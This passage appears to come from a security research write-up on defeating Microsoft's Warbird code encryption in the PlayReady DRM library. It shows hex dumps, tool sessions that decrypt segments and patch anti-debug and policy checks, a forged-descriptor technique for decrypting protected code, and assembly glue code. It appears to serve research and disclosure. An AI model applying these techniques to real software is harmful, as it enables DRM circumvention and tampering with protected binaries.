0x00000090:  af 70 02 d3 7d 45 76 59 bd 6b fd ac bf 95 46 c7  .p..}EvY.k....F.  
0x000000a0:  43 da ee 1f 6a 26 c4 f1 5e ab 81 4f 35 33 71 28  C...j&..^..O53q(  
0x000000b0:  c5 f0 05 e2 79 cd d0 65 20 bf cb 35 58 1a 88 32  ....y..e ..5X..2  
0x000000c0:  b6 64 28 3c 3c 3a f4 7d 03 bf d1 eb c8 50 15 84  .d(<<:.}.....P..  
0x000000d0:  b9 78 f8 58 7f bc 9a 74 f3 ff a9 5e d0 04 4b a9  .x.X...t...^..K.  
0x000000e0:  a3 22 e1 d9 6f 90 11 c6 11 c2 39 7b f9 11 8f 91  ."..o.....9{....  
0x000000f0:  dd a3 a5 dd e2 64 2f 04 02 7a a6 c8 3f 0c 8d cb  .....d/..z..?...  

Arbitrary decryption operation is shown below:

wret> wbop -d 0x5a1b60 -v  
WBOpCmd::run  
- wb segment  
  digest:  
0x00000000:  96 35 e0 86 ca d1 dc b2 7d 21 3b 7d 23 98 4c 48  .5......}!;}#.LH  
0x00000010:  62 1e 12 36 cc d7 6f b9 2d 9b 46 e1 b0 c6 ee cd  b..6..o.-.F.....  
  desc_va:      0x6f9000 size 10c  
  relocs_va:    0x9436f0 num 0x5197  
  key:          0x2ad255175333d38b  
  segments (num 2, data size 605):  
  * [0000] encr_va 5a1b60 size 000087 section .text  
    flags   30c|READWRITE|WRITECOPY|GUARD|NOCACHE  
  * [0001] encr_va 5a1bf0 size 0001d6 section .text  
    flags   30c|READWRITE|WRITECOPY|GUARD|NOCACHE  
- WarbirdCallArgs  
  * op:           WbDecryptEncryptionSegment  
  * segdesc:      7ffd2ca39000  
  * image_base1:  7ffd2c340000  
  * image_base2:  7ffd2c340000  
  * relocs:       7ffd2cc836f0  
  * relocs_num:   5197  
- NtQuerySystemInformation res: 0  
- segment status: CHANGED  
decrypted  

It can be verified that the content of memory got changed as a result of the
op (it got decrypted).

wret> dmem 0x5a1b60  
DmemCmd::run  
va 5a1b60  
0x00000000:  19 91 16 4e a3 bf 6a e0 1a 02 76 30 44 75 25 f4  ...N..j...v0Du%.  
0x00000010:  d0 40 37 2d 8c 85 95 88 78 d3 91 8f b0 38 c9 fc  [email protected]..  
0x00000020:  b3 a5 ac 0d 65 df 0c b0 88 82 3c d7 8c 68 bd 7e  ....e.....<..h.~  
0x00000030:  08 51 19 6e 48 2d 64 31 89 da ec 72 38 dc 5e c0  .Q.nH-d1...r8.^.  
0x00000040:  c1 24 71 4f e1 e9 3b da c3 8b 45 eb 1f ef 9f b1  .$qO..;...E.....  
0x00000050:  f7 55 18 53 47 ed 44 6f 62 71 2c 93 f9 79 af c9  .U.SG.Dobq,..y..  
0x00000060:  77 f6 cc d3 03 47 41 29 b1 51 21 35 44 1c 30 80  w....GA).Q!5D.0.  
0x00000070:  b4 ba e9 58 39 ea 91 65 4e 24 0c 55 43 b6 c3 02  ...X9..eN$.UC...  
0x00000080:  94 6d 2d 39 39 6e 70 cc cc cc cc cc cc cc cc cc  .m-99np.........  
0x00000090:  a3 ce 76 4c 0f 61 2b 24 3f 1e 5b 38 ef 7b 06 52  ..vL.a+$?.[8.{.R  
0x000000a0:  f4 58 19 1b 32 ba 88 5c 89 44 6c d2 b9 9e a5 df  .X..2..\.Dl.....  
0x000000b0:  eb 3e dd 2c 7e 58 d3 1a e7 00 35 2e 01 fc 59 b1  .>.,~X....5...Y.  
0x000000c0:  79 95 e8 3f c0 9e 04 0a a8 6f 2b 63 8f c8 de ea  y..?.....o+c....  
0x000000d0:  6b f0 51 7e 5c 90 25 ee 29 3d 49 df 5e c8 4c 27  k.Q~\.%.)=I.^.L'  
0x000000e0:  40 7f 04 27 cd ef 0c d1 76 3a 49 af 91 f8 c9 91  @..'....v:I.....  
0x000000f0:  6f 09 b4 a7 b0 3e 1b 3b 08 09 d4 84 c0 f6 5d 71  o....>.;......]q  

Decryption of heap execute segments is not that straightforward. Upon a WB
system call, the following happens at kernel side:

  • a dynamic memory block gets allocated for a user process and encrypted code
    block is decrypted into it, the block gets marked as no-write (exec only)
  • registers and stack gets filled with arguments provided through WB system
    call structure, this is done in a special way though:
    • top of the stack doesn’t contain the usual return address ([rsp]), but a
      pointer to data structure containing ptr to subroutine result and its
      arguments
    • the rcx is loaded with this pointer at the beginning of WB heap exec call
    • subroutine arguments do not follow the usual arguments passing convention,
      the arguments are references through rcx pointer
    • subroutine arguments are put into a contiguous block (they are serialized),
      as a result they may occupy different offsets (with respect to rcx for
      different subroutines, pointers might not be aligned)
  • the decrypted subroutine call is executed through the APC (Asynchronous
    Procedure Call) mechanism (the call to PspSetContextThreadInternal is used
    for the setup), queued APC is executed prior to user thread’s resuming
    execution (prior to syscall return)
  • subroutine result (if any) gets stored to [rcx] memory location
  • upon call completion, return from WB system call is done.

The above construction is done for the following reason:

  • to make traps / breakpoints setting difficult (target calls are executed at
    semi-random addresses)
  • hijacking of WB heap execution calls becomes problematic (there is ptr to
    args in place of return addr)
  • everything happens in one shot / semi-atomic way - the call is seen as if it
    has been executed by WB system call.

We have found a way to decrypt heap execute segments though. One can simply do
the following:

  • change the valid WB segment descriptor and point it to heap execute descriptor
    (mimic encrypted heap execute WB segment as if it was a pure WB segment),
  • compute the SHA256 digest to make any changes conducted to the WB segment
    look legitimate to the kernel
  • issue WbDecryptEncryptionSegment WB system call op.

The implementation of this is shown below for the following heap exec segment:

- wb heap exec  
  desc_va:      0x3080 size f0  
  encr_code:    va 0x6bacf0 size 0x17f

wret> wbop -d 0x6bacf0 -v  
WBOpCmd::run  
ORG CUSTDESC  
0x00000000:  fd bb 33 d3 a2 c0 1d 7d a9 36 be 94 f9 23 c2 68  ..3....}.6...#.h  
0x00000010:  32 00 22 79 28 d3 28 dd bc bb 97 2b 25 36 96 85  2."y(.(....+%6..  
0x00000020:  00 01 00 00 00 00 00 00 00 81 6d 00 f0 36 94 00  ..........m..6..  
0x00000030:  97 51 00 00 00 00 00 00 00 00 00 80 01 00 00 00  .Q..............  
0x00000040:  a1 00 00 00 00 00 00 00 85 42 bd 41 c6 55 87 6a  .........B.A.U.j  
0x00000050:  0c 00 00 00 69 00 00 00 67 00 00 00 d5 00 00 00  ....i...g.......  
0x00000060:  13 00 00 00 92 00 00 00 de 00 00 00 dc 00 00 00  ................  
0x00000070:  01 00 00 00 81 00 00 00 11 00 00 00 39 00 00 00  ............9...  
0x00000080:  11 00 00 00 17 00 00 00 45 00 00 00 2a 00 00 00  ........E...*...  
0x00000090:  1d 00 00 00 60 00 00 00 21 00 00 00 0f 00 00 00  ....`...!.......  
0x000000a0:  10 00 00 00 5f 00 00 00 a6 00 00 00 d8 00 00 00  ...._...........  
0x000000b0:  16 00 00 00 1e 00 00 00 55 00 00 00 ef 00 00 00  ........U.......  
0x000000c0:  07 00 00 00 ad 00 00 00 05 00 00 00 09 00 00 00  ................  
0x000000d0:  18 00 00 00 27 00 00 00 7d 00 00 00 dd 00 00 00  ....'...}.......  
0x000000e0:  0e 00 00 00 d4 00 00 00 ca 00 00 00 4f 00 00 00  ............O...  
0x000000f0:  01 00 00 00 0c 03 00 00 40 3a 6b 00 9f 01 00 00  ........@:k.....  
BEFORE DECRYPTION 6bacf0  
0x00000000:  9d a4 f6 33 08 80 2c 6b 48 06 5d 65 47 e1 87 c2  ...3..,kH.]eG...  
0x00000010:  73 4e db b7 85 dd d5 a8 94 86 3b 41 b7 5c f7 1e  sN........;A.\..  
0x00000020:  76 1e a6 14 51 79 31 ab 1a 68 48 c5 e5 b4 ec 5e  v...Qy1..hH....^  
0x00000030:  de 5f da 99 7d 40 3f 5f fa e0 a6 fe 44 3b 38 fc  ._..}@?_....D;8.  
0x00000040:  e6 e2 e4 ab 60 ab e1 74 1e 1b f6 60 0e 4a e2 a5  ....`..t...`.J..  
0x00000050:  94 2f ef 6d 84 84 4d 52 75 bf 4b ac 6a 0f ee 4d  ./.m..MRu.K.j..M  
0x00000060:  37 47 77 b4 3f 63 f7 03 23 5e da 8d be bc 2f 23  7Gw.?c..#^..../#  
0x00000070:  5e ee b4 e9 13 fd 08 e9 7f 14 16 0e 49 03 cf 4a  ^...........I..J  
0x00000080:  67 8b cc ce 28 9a 6b bd 4c 23 8d 36 d0 9b 5d 26  g...(.k.L#.6..]&  
0x00000090:  45 e6 cd 34 c3 87 76 17 29 b8 86 ab a8 e9 57 d2  E..4..v.).....W.  
0x000000a0:  bd da 3e 0b c2 d1 fa 56 5f 46 60 b1 4a e1 10 55  ..>....V_F`.J..U  
0x000000b0:  a6 47 9d 5b 63 df f2 e4 5e 92 99 35 44 73 00 f2  .G.[c...^..5Ds..  
0x000000c0:  f1 50 5c d7 af fa cb 9e b3 7c 22 4f f4 d6 7e 14  .P\......|"O..~.  
0x000000d0:  f6 59 6d 8c 54 f0 86 af e4 3f 27 9d 01 22 3e 9a  .Ym.T....?'..">.  
0x000000e0:  23 81 30 33 a9 2e eb fd 9b 19 6f b0 4f d5 33 ff  #.03......o.O.3.  
0x000000f0:  19 99 fb 7a 95 56 8e ae 3c 97 ac 0e d0 ad fe 91  ...z.V..<.......  
0x00000100:  ec e1 26 1b e6 e5 40 70 b6 4a ac 8f 1e 11 be 00  ..&[email protected]......  
0x00000110:  50 47 8c 57 c1 fe e6 4d d8 26 be 23 ca b0 16 48  PG.W...M.&.#...H  
0x00000120:  7b c5 59 a0 9f 59 81 3c 6b 6f cc 3e 07 6e 41 c9  {.Y..Y.<ko.>.nA.  
0x00000130:  9a 33 2e b6 c9 ec 4b ca e5 0d 05 aa 43 d5 0f a0  .3....K.....C...  
0x00000140:  40 d5 79 3b 8b 80 f4 6c 60 55 eb 00 dd 2a 31 66  @.y;...l`U...*1f  
0x00000150:  92 b7 51 c7 1d f9 3f 60 5f 22 fe ee 3b 3b 05 21  ..Q...?`_"..;;.!  
0x00000160:  85 bf 90 72 33 4e c1 4c 72 67 4f c7 31 b4 99 9f  ...r3N.LrgO.1...  
0x00000170:  b1 20 ca 8a 09 5c ab 0d 4b da 8c 30 37 83 9f     . ...\..K..07..  
FAKE CUSTDESC  
0x00000000:  bd d8 c4 24 a8 2d 15 03 1f 95 96 c4 99 ad 0f 75  ...$.-.........u  
0x00000010:  9a e2 74 64 3b f3 89 20 8c 78 eb a4 50 fd 68 fa  ..td;.. .x..P.h.  
0x00000020:  00 01 00 00 00 00 00 00 00 81 6d 00 f0 36 94 00  ..........m..6..  
0x00000030:  97 51 00 00 00 00 00 00 00 00 00 80 01 00 00 00  .Q..............  
0x00000040:  00 00 00 f0 00 00 00 00 8a ce 28 b3 ec da 3c 84  ..........(...<.  
0x00000050:  08 00 00 00 3f 00 00 00 0f 00 00 00 0b 00 00 00  ....?...........  
0x00000060:  07 00 00 00 30 00 00 00 09 00 00 00 db 00 00 00  ....0...........  
0x00000070:  17 00 00 00 2e 00 00 00 00 00 00 00 36 00 00 00  ............6...  
0x00000080:  0f 00 00 00 83 00 00 00 44 00 00 00 ba 00 00 00  ........D.......  
0x00000090:  0e 00 00 00 51 00 00 00 42 00 00 00 34 00 00 00  ....Q...B...4...  
0x000000a0:  1a 00 00 00 a5 00 00 00 48 00 00 00 98 00 00 00  ........H.......  
0x000000b0:  1e 00 00 00 d6 00 00 00 01 00 00 00 dd 00 00 00  ................  
0x000000c0:  0c 00 00 00 46 00 00 00 c9 00 00 00 72 00 00 00  ....F.......r...  
0x000000d0:  0a 00 00 00 86 00 00 00 37 00 00 00 1c 00 00 00  ........7.......  
0x000000e0:  14 00 00 00 0e 00 00 00 e3 00 00 00 a3 00 00 00  ................  
0x000000f0:  01 00 00 00 0c 03 00 00 f0 ac 6b 00 7f 01 00 00  ..........k.....  
AFTER DECRYPTION 6bacf0  
0x00000000:  48 8d 15 f9 ff ff ff 48 8b 0c 24 48 89 5c 24 10  H......H..$H.\$.  
0x00000010:  48 89 6c 24 18 56 57 41 54 41 56 41 57 48 83 ec  H.l$.VWATAVAWH..  
0x00000020:  60 4c 8b 79 18 48 8b ea 4c 8b 61 10 48 8b 79 08  `L.y.H..L.a.H.y.  
0x00000030:  4c 8b 31 48 8b 5a f0 48 8d 05 92 57 a1 ff 48 8b  L.1H.Z.H...W..H.  
0x00000040:  72 f8 48 8b cf 48 8d 15 a4 b1 10 00 48 03 c3 48  r.H..H......H..H  
0x00000050:  03 d3 ff d0 85 c0 75 41 48 8d 15 81 b1 10 00 48  ......uAH......H  
0x00000060:  8b cf 48 8d 05 67 57 a1 ff 48 03 d3 48 03 c3 ff  ..H..gW..H..H...  
0x00000070:  d0 85 c0 75 24 48 8d 15 6c 32 10 00 48 8b cf 48  ...u$H..l2..H..H  
0x00000080:  8d 05 4a 57 a1 ff 48 03 d3 48 03 c3 ff d0 85 c0  ..JW..H..H......  
0x00000090:  75 07 bf 01 40 00 80 eb 54 48 89 7c 24 48 48 8d  [email protected].|$HH.  
0x000000a0:  05 6b 89 94 ff 48 03 c3 48 c7 44 24 30 03 00 00  .k...H..H.D$0...  
0x000000b0:  00 48 89 44 24 38 48 8d 54 24 30 48 8d 84 24 90  .H.D$8H.T$0H..$.  
0x000000c0:  00 00 00 4c 89 64 24 50 48 89 44 24 40 41 ba b9  ...L.d$PH.D$@A..  
0x000000d0:  00 00 00 48 8b c6 4c 89 7c 24 58 41 b8 30 00 00  ...H..L.|$XA.0..  
0x000000e0:  00 45 33 c9 0f 05 8b bc 24 90 00 00 00 48 8d 05  .E3.....$....H..  
0x000000f0:  2c 2b 2d 00 48 03 c3 48 8d 0d 22 2b 2d 00 48 39  ,+-.H..H.."+-.H9  
0x00000100:  04 0b 74 47 85 ff 79 43 48 8d 05 11 2b 2d 00 48  ..tG..yCH...+-.H  
0x00000110:  8b 04 03 f6 40 1c 08 74 32 48 8d 0d 00 2b 2d 00  [email protected]...+-.  
0x00000120:  89 7c 24 20 48 8b 0c 0b 4c 8d 05 c9 31 10 00 4c  .|$ H...L...1..L  
0x00000130:  8d 15 1a fe a0 ff ba 0f 00 00 00 44 8b cf 4c 03  ...........D..L.  
0x00000140:  c3 4c 03 d3 48 8b 49 10 41 ff d2 4c 8d 5c 24 60  .L..H.I.A..L.\$`  
0x00000150:  41 89 3e 49 8b 5b 38 48 8b c6 49 8b 6b 40 49 8b  A.>I.[8H..I.k@I.  
0x00000160:  e3 41 5f 41 5e 41 5c 5f 5e 49 ba b9 00 00 00 00  .A_A^A\_^I......  
0x00000170:  00 00 00 48 33 d2 4d 33 c0 4d 33 c9 0f 05 c3     ...H3.M3.M3....  
WB PROLOG FOUND  
decrypted  

It’s worth to note that some other issues could be potentially exploited for a
successful WB heap execute calls’ decryption / hijacking such as the following:

  1. executing WB heap execute calls with all register content set to invalid
    values (invalid pointer values in particular), as a result of accessing
    memory through the invalid pointer a trap is raised (as early as possible),
    user thread is stopped and WB heap exec segment is in a decrypted state
  2. reusing the cached (kernel side LRU list) WB heap exec segments, some early
    tests indicated same (predictable) segments’ uses (user level adresses) for
    wb heap exec segments, this makes it possible to set debug breakpoint (such
    as INT3) at the start of the execution of a target heap exec code (stop
    execution of a decrypted heap exec code)

STATIC AND DYNAMIC ANALYSIS SETUP

Generic ability to decrypt any Warbird segment constitutes a base for whole
image decryption.

WRET tool contains support for such a decryption. It also makes it possible to
prepare Warbird binaries for static or dynamic analysis.

The following illustrates preparation of arbitrary PlayReady binary for static
analysis:

wret> image w10_prlib.dll  
ImageCmd::run  
- Dll init w10_prlib.dll  
  size 10347408 bytes  
  base 180000000  
wret> prlib w10_prlib.dll  
PRLib::run  
wret>\  
wret> wbsetup -s  
WBSetupCmd::run  
Warbird encrypted binary  
### setting up Warbird for static analysis  
- scanning for heap exec descriptors  
  found: 981  
- scanning for segment descriptors  
  found: 37  
- decrypting heap exec descriptors  
- decrypting segment descriptors  
- adjusting relocations  
  total: 402  
- adjusting code refs  
  total: 1470  
- adjusting data refs  
  total: 0  
wret> save w10_prlib_static.dll  
SaveCmd::run  
- saving image [w10_prlib_static.dll]  

The following illustrates preparation of PlayReady binary for dynamic analysis:

wret> image w10_prlib.dll  
ImageCmd::run  
- Dll init w10_prlib.dll  
  size 10347408 bytes  
  base 180000000  
wret> prlib w10_prlib.dll  
PRLib::run  
wret> wbsetup -r  
WBSetupCmd::run  
Warbird encrypted binary  
### setting up Warbird for runtime analysys  
- scanning for heap exec descriptors  
  found: 981  
- scanning for segment descriptors  
  found: 37  
- decrypting heapexec descriptors  
- decrypting segment descriptors  
- locating ret syscalls  
  total: 1023  
- locating heapexec syscalls  
  total: 911 (WB_MOV10_B9 880, WB_MOV10_REG 10, WB_LEA10 3, WB_SHARED 18)  
- adjusting code refs  
  total: 1470  
- adjusting data refs  
  total: 2  
- patching self LEAs  
  total: 981  
- patching ret syscalls  
- patching heapexec syscalls  
- patching wb call  
- patching antidebug call  
- patching App Policy  
- Dll init Windows.Media.dll  
  size 7145640 bytes  
  base 180000000  
- patching App Model  
- Dll init Windows.Storage.ApplicationData.dll  
  size 435248 bytes  
  base 180000000  
- disabling thread library calls  
wret> save w10_prlib_dynamic.dll  
SaveCmd::run  
- saving image [w10_prlib_dynamic.dll]  
wret>  

Both processes are a little bit more complex due to the following:

  • WB heap execute calls can embed (issue) other WB system calls (recursive WB
    calls, nested calls make use of SYSCALL instead of NtQuerySystemInformation
    call, there is a dedicated WB SYSCALL used to mark return from the call)
  • the assumption that PlayReady runs as App Container, which requires some App
    Policy to be adjusted too (we mimic the code runs in App Container of MSEdge
    application through the instrumentation of GetCurrentPackageId,
    GetCurrentApplicationUserModelId and GetCurrentPackageFamilyName calls
    in particular).

The static analysis changes offsets used by WB heap execute calls and denoting
WB segments. The original code such as this one:

.text:00000001800CE770                 public MSPRMFGetClassObject  
.text:00000001800CE770 MSPRMFGetClassObject proc near          ; DATA XREF: .rdata:000000018073821C↓o  
.text:00000001800CE770                                         ; .rdata:off_180988FE8↓o ...  
.text:00000001800CE770  
.text:00000001800CE770 arg_0           = dword ptr  8  
.text:00000001800CE770  
.text:00000001800CE770                 mov     r11, rsp  
.text:00000001800CE773                 sub     rsp, 58h  
.text:00000001800CE777                 xor     r9d, r9d        ; ReturnLength  
.text:00000001800CE77A                 mov     [r11-20h], rcx  
.text:00000001800CE77E                 lea     rax, qword_180003080     <---- PTR to WB segment descriptor  
.text:00000001800CE785                 mov     [r11-18h], rdx  
.text:00000001800CE789                 mov     [r11-30h], rax  
.text:00000001800CE78D                 lea     rdx, [r11-38h]  ; SystemInformation  
.text:00000001800CE791                 lea     rax, [r11+8]  
.text:00000001800CE795                 mov     [r11-10h], r8  
.text:00000001800CE799                 lea     r8d, [r9+30h]   ; SystemInformationLength  
.text:00000001800CE79D                 mov     qword ptr [r11-38h], 3  
.text:00000001800CE7A5                 mov     ecx, 0B9h       ; SystemInformationClass  
.text:00000001800CE7AA                 mov     [r11-28h], rax  
.text:00000001800CE7AE                 call    NtQuerySystemInformation  
.text:00000001800CE7B3                 mov     eax, [rsp+58h+arg_0]  
.text:00000001800CE7B7                 add     rsp, 58h  
.text:00000001800CE7BB                 retn  
.text:00000001800CE7BB MSPRMFGetClassObject endp

.text:0000000180003080 qword_180003080 dq 0A46F7AD58B94A526h, 0CFE445AD43F69D5Dh, 0F9723F8626AAA8A8h  
.text:0000000180003080                                         ; DATA XREF: MSPRMFGetClassObject+E↓o  
.text:0000000180003080                 dq 2883CB67309745CEh, 0FFFFFF00000000F0h, 0F0003080h, 0F06BACF0FFFF00C3h  
.text:0000000180003080                 dq 0F0000000F000017Fh, 0FFFFFFFFF0000000h, 843CDAECB328CE8Ah  
.text:0000000180003080                 dq 3F00000008h, 0B0000000Fh, 3000000007h, 0DB00000009h  
.text:0000000180003080                 dq 2E00000017h, 3600000000h, 830000000Fh, 0BA00000044h  
.text:0000000180003080                 dq 510000000Eh, 3400000042h, 0A50000001Ah, 9800000048h

is replaced with the following sequence, which has WB segment pointers resolved
so that they point to actual code (decrypted one, provided as argument to LEA
instruction):

.text:00000001800CE770 MSPRMFGetClassObject proc near          ; DATA XREF: .rdata:000000018073821C↓o  
.text:00000001800CE770                                         ; .rdata:off_180988FE8↓o  
.text:00000001800CE770  
.text:00000001800CE770 arg_0           = dword ptr  8  
.text:00000001800CE770  
.text:00000001800CE770                 mov     r11, rsp  
.text:00000001800CE773                 sub     rsp, 58h  
.text:00000001800CE777                 xor     r9d, r9d        ; ReturnLength  
.text:00000001800CE77A                 mov     [r11-20h], rcx  
.text:00000001800CE77E                 lea     rax, sub_1806BACF0     <---- PTR to actual code executed by WB syscall  
.text:00000001800CE785                 mov     [r11-18h], rdx  
.text:00000001800CE789                 mov     [r11-30h], rax  
.text:00000001800CE78D                 lea     rdx, [r11-38h]  ; SystemInformation  
.text:00000001800CE791                 lea     rax, [r11+8]  
.text:00000001800CE795                 mov     [r11-10h], r8  
.text:00000001800CE799                 lea     r8d, [r9+30h]   ; SystemInformationLength  
.text:00000001800CE79D                 mov     qword ptr [r11-38h], 3  
.text:00000001800CE7A5                 mov     ecx, 0B9h       ; SystemInformationClass  
.text:00000001800CE7AA                 mov     [r11-28h], rax  
.text:00000001800CE7AE                 call    NtQuerySystemInformation  
.text:00000001800CE7B3                 mov     eax, [rsp+58h+arg_0]  
.text:00000001800CE7B7                 add     rsp, 58h  
.text:00000001800CE7BB                 retn  
.text:00000001800CE7BB MSPRMFGetClassObject endp  

The above allows to restore the code flow obscured through WB syscalls (such as
call hierarchy, subroutine uses, etc.).

For dynamic analysis, after decrypting all WB segments (data and code related),
all invocations of WB system calls encountered in the code gets patched. This
involves patching NtQuerySystemInformation call (patch of IAT entry) along
the syscall opcode used for embedded WB calls. This also requires some
instruction reordering / fitting due to the need to make place for the call
instruction transferring execution to common WB glue code (2 bytes long
syscall instruction is replaced with 5 bytes long call one). This faces
some challenges due to insufficient space in target code blocks, shared code
blocks (single WB invocations used by more than one code path), various
registers uses, etc.

Without going into the details, it is sufficient to say that the dynamic
analysis is accomplished through a common WB call glue code, which:

  1. does nothing for segment encrypt / decrypt operations (no need to as these
    got decrypted as part of the setup process)
  2. setups / restores stack frame and registers for WB heap execute calls as if
    the call has been executed by the OS kernel (thus the “glue” name).

Fragment of a main glue code and its “pass through” nature is shown below:

...  
;Warbird calls  
WbDecryptEncryptionSegment       EQU 1  
WbReEncryptEncryptionSegment         EQU 2  
WbHeapExecuteCall         EQU 3  
WbSetTrapFrame           EQU 4  
WbInvalidOp1           EQU 5  
WbInvalidOp2           EQU 6  
WbRemoveWarbirdProcess         EQU 7  
WbProcessStartup         EQU 8  
WbProcessModuleUnload         EQU 9  
...  
asm_wb_glue_syscall    proc    frame  
    OPTION PROLOGUE:NONE, EPILOGUE:NONE  
    .endprolog  
    ALLOC_SPARGS  
    SAVE_REGS  
...  
    cmp rdx,0  
    je _heap_exec_call_ret

       cmp qword ptr [rdx],WbDecryptEncryptionSegment  
    je _DecryptEncryptionSegment

    cmp qword ptr [rdx],WbReEncryptEncryptionSegment  
    je _ReEncryptEncryptionSegment

    cmp qword ptr [rdx],WbHeapExecuteCall  
    je _HeapExecuteCall

    cmp qword ptr [rdx],WbSetTrapFrame  
    je _SetTrapFrame

    cmp qword ptr [rdx],WbInvalidOp1  
    je _InvalidOp1

    cmp qword ptr [rdx],WbInvalidOp2  
    je _InvalidOp2

    cmp qword ptr [rdx],WbRemoveWarbirdProcess  
    je _RemoveWarbirdProcess

    cmp qword ptr [rdx],WbProcessStartup  
    je _ProcessStartup

    cmp qword ptr [rdx],WbProcessModuleUnload  
    je _ProcessModuleUnload

_DecryptEncryptionSegment:  
    DO_OK_RET

_ReEncryptEncryptionSegment:  
    DO_OK_RET

_HeapExecuteCall:  
;save rdx value (for return result store)  
;    push rdx

    sub rsp,GLUE_STACK_SIZE

;setup [rsp] to point to result ptr and args  
;    lea rax,qword ptr [rdx+10h]  
    lea rax,(WB_HEAPEXEC_CALL ptr [rdx])._res_ptr  
    mov qword ptr [rsp],rax

;load target sub addr  
    mov rax,(WB_HEAPEXEC_CALL ptr [rdx])._sub_addr

;call target sub  
    jmp rax

_heap_exec_call_ret:  
;skip ret addr pushed by the call to ret from heap exec handler  
    add rsp,8

    add rsp,GLUE_STACK_SIZE  
;restore rdx value  
;    pop rdx

    DO_OK_RET

_SetTrapFrame:  
    DO_OK_RET

_InvalidOp1:  
    DO_OK_RET

_InvalidOp2:  
    DO_OK_RET

_RemoveWarbirdProcess:  
    DO_OK_RET

_ProcessStartup:  
    DO_OK_RET

_ProcessModuleUnload:  
    DO_OK_RET

The dynamic analysis makes it possible to trace execution of PlayReady library
as a response to various actions such as activation / individualization or
license request.

It also makes it possible to call arbitrary code such as COM or WB subroutines
in particular.

COM information

PlayReady implementation heavily relies on Component Object Model. While there
are some public COM objects, some are not.

WRET tool makes it possible to extract COM information from target binary:

wret> cominfo -m  
COMInfoCmd::run  
[COMModuleBase]  
- destructor_va            cf980  
- IncrementObjectCount_va  cf6e0  
- DecrementObjectCount_va  cf6c0  
- GetObjectCount_va        cdb60  
- GetFirstEntryPointer_va  cdb70  
- GetMidEntryPointer_va    cdb80  
- GetLastEntryPointer_va   cdb90  
- GetLock_va               cdba0  
- RegisterWinRTObject_va   cf690  
- UnregisterWinRTObject_va cf690  
- RegisterCOMObject_va     cf690  
- UnregisterCOMObject_va   cf690  
### COM classes  
### WinRT classes  
 * [Microsoft.Media.PlayReadyClient.NDStreamParserNotifier]  
 * [Microsoft.Media.PlayReadyClient.NDDownloadEngineNotifier]  
 * [Microsoft.Media.PlayReadyClient.NDStorageFileHelper]  
 * [Microsoft.Media.PlayReadyClient.PRRemoteObjectFactory]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyITADataGenerator]  
 * [com.microsoft.playready.ContentDecryptionModuleFactory]  
 * [com.microsoft.playready.software.CdmFactory]  
 * [com.microsoft.playready.hardware.CdmFactory]  
 * [com.microsoft.playready.CdmFactory]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyWinRTTrustedInput]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyRevocationServiceRequestReactive]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyRevocationServiceRequest]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyMeteringReportServiceRequestReactive]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyMeteringReportServiceRequest]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyDomainLeaveServiceRequestReactive]  
 * [Microsoft.Media.PlayReadyClient.PlayReadyDomainLeaveServiceRequest]  
...  

It can extract some information about COM interfaces and their factories too:

wret> cominfo -f  
### WinRT factories  
[Microsoft.Media.PlayReadyClient.NDStreamParserNotifier-Factory]  
  * initializer e3a40  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd620  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[Microsoft.Media.PlayReadyClient.NDDownloadEngineNotifier-Factory]  
  * initializer e3950  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd660  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[Microsoft.Media.PlayReadyClient.NDStorageFileHelper-Factory]  
  * initializer e3860  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd6a0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[Microsoft.Media.PlayReadyClient.PRRemoteObjectFactory-Factory]  
  * initializer e3770  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd6e0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[Microsoft.Media.PlayReadyClient.PlayReadyITADataGenerator-Factory]  
  * initializer e3680  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd720  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[com.microsoft.playready.ContentDecryptionModuleFactory-Factory]  
  * initializer e3590  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd760  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[com.microsoft.playready.software.CdmFactory-Factory]  
  * initializer e34a0  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd7a0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[com.microsoft.playready.hardware.CdmFactory-Factory]  
  * initializer e33b0  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd7e0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[com.microsoft.playready.CdmFactory-Factory]  
  * initializer e32c0  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd820  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
[Microsoft.Media.PlayReadyClient.PlayReadyWinRTTrustedInput-Factory]  
  * initializer e31d0  
  * trust level BaseTrust  
  * interfaces:  
      if 6fd860  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
  instances:  
...  
[Microsoft.Media.PlayReadyClient.PlayReadyContentHeader-Factory]  
  * initializer e1580  
  * trust level BaseTrust  
  * override interfaces:  
      if 6fc1b0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
      if 6fc178  
        * uuid d1239cf5-ae6d-4778-97fd-6e3a2eeadbeb  
        * off 8  
      if 6fc130  
        * uuid cb97c8ff-b758-4776-bf01-217a8b510b2c  
        * off 10  
      if 6fc0f8  
        * uuid d0d7d187-d16c-4165-b39c-b93c423e88e3  
        * off 20  
      if 6fc0b0  
        * uuid 7de8418e-efed-4eda-ab18-9ae5bf00a069  
        * off 28  
  * interfaces:  
      if 6fe5c0  
        * uuid 00000035-0000-0000-c000-000000000046  
        * off 0  
      if 6fe588  
        * uuid d1239cf5-ae6d-4778-97fd-6e3a2eeadbeb  
        * off 8  
      if 6fe540  
        * uuid cb97c8ff-b758-4776-bf01-217a8b510b2c  
        * off 10  
